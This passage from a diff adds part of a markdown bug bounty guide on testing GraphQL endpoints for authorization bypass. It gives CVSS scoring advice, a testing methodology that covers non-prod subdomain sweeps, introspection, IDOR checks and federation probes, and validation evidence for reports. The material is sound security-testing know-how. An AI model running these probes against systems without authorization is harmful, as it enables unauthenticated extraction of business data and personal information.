|
607
|
+
→ Sensitive resolver names exposed (admin*, payment*)
|
|
608
|
+
→ Unauthenticated data extraction from unprotected resolvers
|
|
609
|
+
→ Business configuration / PII returned to unauthenticated attacker
|
|
610
|
+
```
|
|
611
|
+
|
|
612
|
+
**CVSS v3.1 Scoring:**
|
|
613
|
+
- AV:N / AC:L / PR:N / UI:N → Base score 7.5 for data extraction
|
|
614
|
+
- Bump to 8.x if admin mutations are directly accessible
|
|
615
|
+
- Report ALL affected environments (dev + ppd = 2x evidence = stronger case)
|
|
616
|
+
|
|
617
|
+
**Bug Bounty Acceptance Score:**
|
|
618
|
+
- Reproducibility: 10/10 (deterministic, no auth needed)
|
|
619
|
+
- Impact realism: 9/10 (real data returned, introspection enabled)
|
|
620
|
+
- Scope clarity: 8/10 (non-prod in scope if wildcard or explicitly listed)
|
|
621
|
+
- Would this be accepted? **YES** — HIGH severity if data extraction confirmed
|
|
622
|
+
|
|
623
|
+
---
|
|
624
|
+
|
|
625
|
+
## Testing Methodology
|
|
626
|
+
|
|
627
|
+
1. **Fingerprint** - Identify endpoints, transports, stack (Apollo, Hasura, etc.), GraphiQL exposure
|
|
628
|
+
2. **Auth gate check** - For every host returning 401 on `/`, immediately test `/graphql` without credentials
|
|
629
|
+
3. **Non-prod sweep** - Enumerate dev.*, ppd.*, staging.*, uat.* subdomains; they are the primary target for path-level auth bypass
|
|
630
|
+
4. **Schema mapping** - Introspection or inference to build complete type graph
|
|
631
|
+
5. **Principal matrix** - Collect tokens for unauth, user, premium, admin roles with at least one valid object ID per subject
|
|
632
|
+
6. **Field sweep** - Test each resolver with owned vs foreign IDs via aliases in same request
|
|
633
|
+
7. **Transport parity** - Verify same auth on HTTP, WebSocket, persisted queries
|
|
634
|
+
8. **Federation probe** - Test `_service` and `_entities` for subgraph auth gaps
|
|
635
|
+
9. **Edge cases** - Cursors, @defer/@stream, subscriptions, file uploads
|
|
636
|
+
|
|
637
|
+
## Validation Requirements
|
|
638
|
+
|
|
639
|
+
- `GET / → HTTP 401 (WWW-Authenticate: Basic realm=...)` — auth gate confirmed
|
|
640
|
+
- `POST /graphql → HTTP 200 {"data": {"__typename": "Query"}}` — bypass confirmed (NO Authorization header sent)
|
|
641
|
+
- Introspection result showing sensitive type/mutation names
|
|
642
|
+
- At least one query returning real data without credentials
|
|
643
|
+
- Paired requests (owner vs non-owner) showing unauthorized access for resolver-level IDOR
|
|
644
|
+
- Resolver-level bypass: parent checks present, child field exposes data
|
|
645
|
+
- Transport parity proof: HTTP and WebSocket for same operation
|
|
646
|
+
- Federation bypass: `_entities` accessing data without subgraph auth
|
|
647
|
+
- Minimal payloads with exact selection sets and variable shapes
|
|
648
|
+
- Document exact resolver paths that missed enforcement
|